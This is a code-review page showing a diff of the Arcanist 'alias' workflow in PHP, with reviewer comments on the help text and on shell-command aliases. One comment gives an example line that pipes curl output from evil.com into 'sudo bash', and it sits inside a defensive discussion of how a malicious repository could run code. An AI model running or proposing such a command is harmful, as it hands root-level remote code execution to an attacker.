Changeset View
Standalone View
src/toolset/workflow/ArcanistAliasWorkflow.php
| <?php | <?php | ||||
| /** | /** | ||||
| * Manages aliases for commands with options. | * Manages aliases for commands with options. | ||||
| */ | */ | ||||
| final class ArcanistAliasWorkflow extends ArcanistWorkflow { | final class ArcanistAliasWorkflow extends ArcanistWorkflow { | ||||
| public function getWorkflowName() { | public function getWorkflowName() { | ||||
| return 'alias'; | return 'alias'; | ||||
| } | } | ||||
| public function supportsToolset(ArcanistToolset $toolset) { | public function supportsToolset(ArcanistToolset $toolset) { | ||||
| return true; | return true; | ||||
| } | } | ||||
| public function getWorkflowSynopses() { | public function getWorkflowInformation() { | ||||
| return array( | $help = pht(<<<EOTEXT | ||||
| pht('**alias**'), | |||||
| pht('**alias** __command__'), | |||||
| pht('**alias** __command__ __target__ -- [__options__]'), | |||||
| ); | |||||
| } | |||||
| public function getWorkflowHelp() { | |||||
| return pht(<<<EOTEXT | |||||
| Supports: cli | |||||
| Create an alias from __command__ to __target__ (optionally, with __options__). | Create an alias from __command__ to __target__ (optionally, with __options__). | ||||
| For example: | |||||
| %s alias fpatch patch -- --force | Aliases allow you to create shorthands for commands and sets of flags you | ||||
| commonly use, like defining "arc draft" as a shorthand for "arc diff --draft". | |||||
| **Creating Aliases** | |||||
| You can define "arc draft" as a shorthand for "arc diff --draft" like this: | |||||
| $ arc alias draft diff -- --draft | |||||
amckinley: "shorthands" | |||||
Not Done Inline ActionsAlso I'd say "frequently-used commands" or "commonly-used" commands. amckinley: Also I'd say "frequently-used commands" or "commonly-used" commands. | |||||
| ...will create a new 'arc' command, 'arc fpatch', which invokes | Now, when you run "arc draft", the command will function like | ||||
| 'arc patch --force ...' when run. NOTE: use "--" before specifying | "arc diff --draft". | ||||
| options! | |||||
| If you start an alias with "!", the remainder of the alias will be | <bg:yellow> NOTE: </bg> Make sure you use "--" before specifying any flags you | ||||
| invoked as a shell command. For example, if you want to implement | want to pass to the command! Otherwise, the flags will be interpreted as flags | ||||
| 'arc ls', you can do so like this: | to "arc alias". | ||||
| %s alias ls '!ls' | **Listing Aliases** | ||||
| You can now run "arc ls" and it will behave like "ls". Of course, this | Without any arguments, "arc alias" will list aliases. | ||||
| example is silly and would make your life worse. | |||||
| You can not overwrite builtins, including 'alias' itself. The builtin | **Removing Aliases** | ||||
| will always execute, even if it was added after your alias. | |||||
| To remove an alias, run: | To remove an alias, run: | ||||
| arc alias fpatch | $ arc alias <alias-name> | ||||
| Without any arguments, 'arc alias' will list aliases. | You will be prompted to remove the alias. | ||||
| EOTEXT | |||||
| , | |||||
| $this->getToolsetName()); | |||||
| } | |||||
| public function getArguments() { | **Shell Commands** | ||||
| return array( | |||||
| '*' => 'argv', | |||||
| ); | |||||
| } | |||||
| public static function getAliases( | If you begin an alias with "!", the remainder of the alias will be invoked as | ||||
| ArcanistConfigurationManager $configuration_manager) { | a shell command. For example, if you want to implement "arc ls", you can do so | ||||
| $sources = $configuration_manager->getConfigFromAllSources('aliases'); | like this: | ||||
| $aliases = array(); | $ arc alias ls '!ls' | ||||
| foreach ($sources as $source) { | |||||
| $aliases += $source; | |||||
| } | |||||
| return $aliases; | When run, "arc ls" will now behave like "ls". | ||||
Not Done Inline ActionsWhy, @epriestley. Why do you do this. (I don't know if arc already has any arbitrary command execution abilities, but this makes it possible for a rogue developer to do something like: arc alias doff '!curl http://evil.com | sudo bash; arc diff' or similar, which is not great). amckinley: Why, @epriestley. Why do you do this.
(I don't know if `arc` already has any arbitrary command… | |||||
Done Inline ActionsThis is an existing capability and I'm not making things worse, at least. Today, the permissions model is that arc is allowed to run as much arbitrary code as it wants without asking you. We could consider changing this -- if we want to, now is the right time. However, I think it may be very difficult. Consider this: $ git clone evil_project $ cd evil_project $ arc unit At least if you think about it, this can "obviously" own your machine, right? It necessarily runs arbitrary code in the evil project, and there's no guarantee that something an evil project claims is a unit test isn't just a rootkit. And arc diff runs arc unit, so that can root you too. Currently, running any arc command at all in an evil project can compromise your machine, because .arcconfig may load a library/extension, and that library/extension can run arbitrary code. The evil code can be self-contained in the project so it's trivial to build an attack repository which activates when you do this: $ git clone evil_project $ cd evil_project $ arc help I think this isn't really so different from this, which can also attack you: $ git clone evil_project $ cd evil_project $ ./configure ...but users sort of expect that ./somebinary is more "powerful" than somebinary. Also, because "git" and "hg" and "svn" generally are safe to run in an evil repository (bugs notwithstanding), users can transfer that expectation to arc (which "feels" like a VCS command), even though they don't have that expectation about make (which does not have the same "feeling"). We could do something like: the first time you run arc in a repository with an unrecognized origin remote URI, if stdout is a TTY, we could prompt you:
I'm not sure that's good on the balance. I do think this could use more treatment in the documentation at a minimum. epriestley: This is an existing capability and I'm not making things //worse//, at least.
Today, the… | |||||
Not Done Inline Actions
I think this is one of those things that sounds like it's doing users a favor, but 99% of people would click through it without reading, and the last 1% would demand a complete audit of rARC before putting up with these silly new tools any longer. Agreed that a blurb in the docs would be helpful. amckinley: > We could do something like: the first time you run arc in a repository with an unrecognized… | |||||
| **Multiple Toolsets** | |||||
Not Done Inline Actions$ arc alias <existing_alias_name> or similar. amckinley: `$ arc alias <existing_alias_name>` or similar. | |||||
| This workflow supports any toolset, even though the examples in this help text | |||||
| use "arc". If you are working with another toolset, use the binary for that | |||||
Not Done Inline Actions"toolset's binary" amckinley: "toolset's binary" | |||||
| toolset define aliases for it: | |||||
| $ phage alias ... | |||||
| Aliases are bound to the toolset which was used to define them. If you define | |||||
| an "arc draft" alias, that does not also define a "phage draft" alias. | |||||
| **Builtins** | |||||
| You can not overwrite the behavior of builtin workflows, including "alias" | |||||
| itself, and if you install a new workflow it will take precedence over any | |||||
| existing aliases with the same name. | |||||
Not Done Inline ActionsI would rephrase as "A newly-added toolset which conflicts with an older alias will take precedence over the alias." amckinley: I would rephrase as "A newly-added toolset which conflicts with an older alias will take… | |||||
| EOTEXT | |||||
| ); | |||||
| return $this->newWorkflowInformation() | |||||
| ->addExample(pht('**alias**')) | |||||
| ->addExample(pht('**alias** __command__')) | |||||
| ->addExample(pht('**alias** __command__ __target__ -- [__options__]')) | |||||
| ->setHelp($help); | |||||
| } | } | ||||
| private function writeAliases(array $aliases) { | public function getWorkflowArguments() { | ||||
| $config = $this->getConfigurationManager()->readUserConfigurationFile(); | return array( | ||||
| $config['aliases'] = $aliases; | $this->newWorkflowArgument('json') | ||||
| $this->getConfigurationManager()->writeUserConfigurationFile($config); | ->setHelp(pht('Output aliases in JSON format.')), | ||||
| $this->newWorkflowArgument('argv') | |||||
| ->setWildcard(true), | |||||
| ); | |||||
| } | } | ||||
| public function runWorkflow() { | public function runWorkflow() { | ||||
| $aliases = self::getAliases($this->getConfigurationManager()); | |||||
| $argv = $this->getArgument('argv'); | $argv = $this->getArgument('argv'); | ||||
| if (count($argv) == 0) { | |||||
| $this->printAliases($aliases); | |||||
| } else if (count($argv) == 1) { | |||||
| $this->removeAlias($aliases, $argv[0]); | |||||
| } else { | |||||
| $arc_config = $this->getArcanistConfiguration(); | |||||
| $alias = $argv[0]; | |||||
| if ($arc_config->buildWorkflow($alias)) { | $is_list = false; | ||||
| throw new ArcanistUsageException( | $is_delete = false; | ||||
| pht( | |||||
| 'You can not create an alias for "%s" because it is a '. | if (!$argv) { | ||||
| 'builtin command. "%s" can only create new commands.', | $is_list = true; | ||||
| "arc {$alias}", | } else if (count($argv) === 1) { | ||||
| 'arc alias')); | $is_delete = true; | ||||
| } | } | ||||
| $new_alias = array_slice($argv, 1); | $is_json = $this->getArgument('json'); | ||||
| if ($is_json && !$is_list) { | |||||
| $command = implode(' ', $new_alias); | throw new PhutilArgumentUsageException( | ||||
| if (self::isShellCommandAlias($command)) { | |||||
| echo tsprintf( | |||||
| "%s\n", | |||||
| pht( | pht( | ||||
| 'Aliased "%s" to shell command "%s".', | 'The "--json" argument may only be used when listing aliases.')); | ||||
| "arc {$alias}", | |||||
| substr($command, 1))); | |||||
| } else { | |||||
| echo tsprintf( | |||||
| "%s\n", | |||||
| pht( | |||||
| 'Aliased "%s" to "%s".', | |||||
| "arc {$alias}", | |||||
| "arc {$command}")); | |||||
| } | } | ||||
| $aliases[$alias] = $new_alias; | if ($is_list) { | ||||
| $this->writeAliases($aliases); | return $this->runListAliases(); | ||||
| } | } | ||||
| return 0; | if ($is_delete) { | ||||
| return $this->runDeleteAlias($argv[1]); | |||||
| } | } | ||||
| public static function isShellCommandAlias($command) { | return $this->runCreateAlias($argv); | ||||
| return preg_match('/^!/', $command); | |||||
| } | } | ||||
| public static function resolveAliases( | private function runListAliases() { | ||||
| $command, | // TOOLSETS: Actually list aliases. | ||||
Not Done Inline Actions//TODO amckinley: `//TODO` | |||||
| ArcanistRuntime $config, | return 1; | ||||
Not Done Inline ActionsAdd a //TODO here? amckinley: Add a `//TODO` here? | |||||
| array $argv, | |||||
| ArcanistConfigurationManager $configuration_manager) { | |||||
| $aliases = self::getAliases($configuration_manager); | |||||
| if (!isset($aliases[$command])) { | |||||
| return array(null, $argv); | |||||
| } | } | ||||
| $new_command = head($aliases[$command]); | private function runDeleteAlias($alias) { | ||||
| // TOOLSETS: Actually delete aliases. | |||||
| if (self::isShellCommandAlias($new_command)) { | return 1; | ||||
| return array($new_command, $argv); | |||||
| } | } | ||||
| $workflow = $config->buildWorkflow($new_command); | private function runCreateAlias(array $argv) { | ||||
| if (!$workflow) { | $trigger = array_shift($argv); | ||||
| return array(null, $argv); | $this->validateAliasTrigger($trigger); | ||||
| } | |||||
| $alias_argv = array_slice($aliases[$command], 1); | $alias = id(new ArcanistAlias()) | ||||
| foreach (array_reverse($alias_argv) as $alias_arg) { | ->setToolset($this->getToolsetKey()) | ||||
| if (!in_array($alias_arg, $argv)) { | ->setTrigger($trigger) | ||||
| array_unshift($argv, $alias_arg); | ->setCommand($argv); | ||||
| } | |||||
| } | |||||
| return array($new_command, $argv); | $aliases = $this->readAliasesForWrite(); | ||||
| } | |||||
| private function printAliases(array $aliases) { | // TOOLSETS: Check if the user already has an alias for this trigger, and | ||||
| if (!$aliases) { | // prompt them to overwrite it. Needs prompting to work. | ||||
| echo tsprintf( | |||||
| "%s\n", | |||||
| pht('You have not defined any aliases yet.')); | |||||
| return; | |||||
| } | |||||
| $table = id(new PhutilConsoleTable()) | $aliases[] = $alias; | ||||
| ->addColumn('input', array('title' => pht('Alias'))) | |||||
| ->addColumn('command', array('title' => pht('Command'))) | |||||
| ->addColumn('type', array('title' => pht('Type'))); | |||||
| ksort($aliases); | $this->writeAliases($aliases); | ||||
| foreach ($aliases as $alias => $binding) { | return 0; | ||||
| $command = implode(' ', $binding); | |||||
| if (self::isShellCommandAlias($command)) { | |||||
| $command = substr($command, 1); | |||||
| $type = pht('Shell Command'); | |||||
| } else { | |||||
| $command = "arc {$command}"; | |||||
| $type = pht('Arcanist Command'); | |||||
| } | } | ||||
| $row = array( | private function validateAliasTrigger($trigger) { | ||||
| 'input' => "arc {$alias}", | $workflows = $this->getRuntime()->getWorkflows(); | ||||
| 'type' => $type, | |||||
| 'command' => $command, | |||||
| ); | |||||
| $table->addRow($row); | if (isset($workflows[$trigger])) { | ||||
| throw new PhutilArgumentUsageException( | |||||
| pht( | |||||
| 'You can not define an alias for "%s" because it is a builtin '. | |||||
| 'workflow for the current toolset ("%s"). The "alias" workflow '. | |||||
| 'can only define new commands as aliases; it can not redefine '. | |||||
| 'existing commands to mean something else.', | |||||
| $trigger, | |||||
| $this->getToolsetKey())); | |||||
| } | |||||
| } | } | ||||
| $table->draw(); | private function getEditScope() { | ||||
| return ArcanistConfigurationSource::SCOPE_USER; | |||||
| } | } | ||||
| private function removeAlias(array $aliases, $alias) { | private function getAliasesConfigKey() { | ||||
| if (empty($aliases[$alias])) { | return ArcanistArcConfigurationEngineExtension::KEY_ALIASES; | ||||
| echo tsprintf( | |||||
| "%s\n", | |||||
| pht('No alias "%s" to remove.', $alias)); | |||||
| return; | |||||
| } | } | ||||
| $command = implode(' ', $aliases[$alias]); | private function readAliasesForWrite() { | ||||
| $key = $this->getAliasesConfigKey(); | |||||
| $scope = $this->getEditScope(); | |||||
| $source_list = $this->getConfigurationSourceList(); | |||||
| if (self::isShellCommandAlias($command)) { | return $source_list->getConfigFromScopes($key, array($scope)); | ||||
| echo tsprintf( | |||||
| "%s\n", | |||||
| pht( | |||||
| '"%s" is currently aliased to shell command "%s".', | |||||
| "arc {$alias}", | |||||
| substr($command, 1))); | |||||
| } else { | |||||
| echo tsprintf( | |||||
| "%s\n", | |||||
| pht( | |||||
| '"%s" is currently aliased to "%s".', | |||||
| "arc {$alias}", | |||||
| "arc {$command}")); | |||||
| } | } | ||||
| private function writeAliases(array $aliases) { | |||||
| assert_instances_of($aliases, 'ArcanistAlias'); | |||||
| $ok = phutil_console_confirm(pht('Delete this alias?')); | $key = $this->getAliasesConfigKey(); | ||||
| if (!$ok) { | $scope = $this->getEditScope(); | ||||
| throw new ArcanistUserAbortException(); | |||||
| } | |||||
| unset($aliases[$alias]); | $source_list = $this->getConfigurationSourceList(); | ||||
| $this->writeAliases($aliases); | $source = $source_list->getWritableSourceFromScope($scope); | ||||
| $option = $source_list->getConfigOption($key); | |||||
| echo tsprintf( | $option->writeValue($source, $aliases); | ||||
| "%s\n", | |||||
| pht( | |||||
| 'Removed alias "%s".', | |||||
| "arc {$alias}")); | |||||
| } | } | ||||
| } | } | ||||
"shorthands"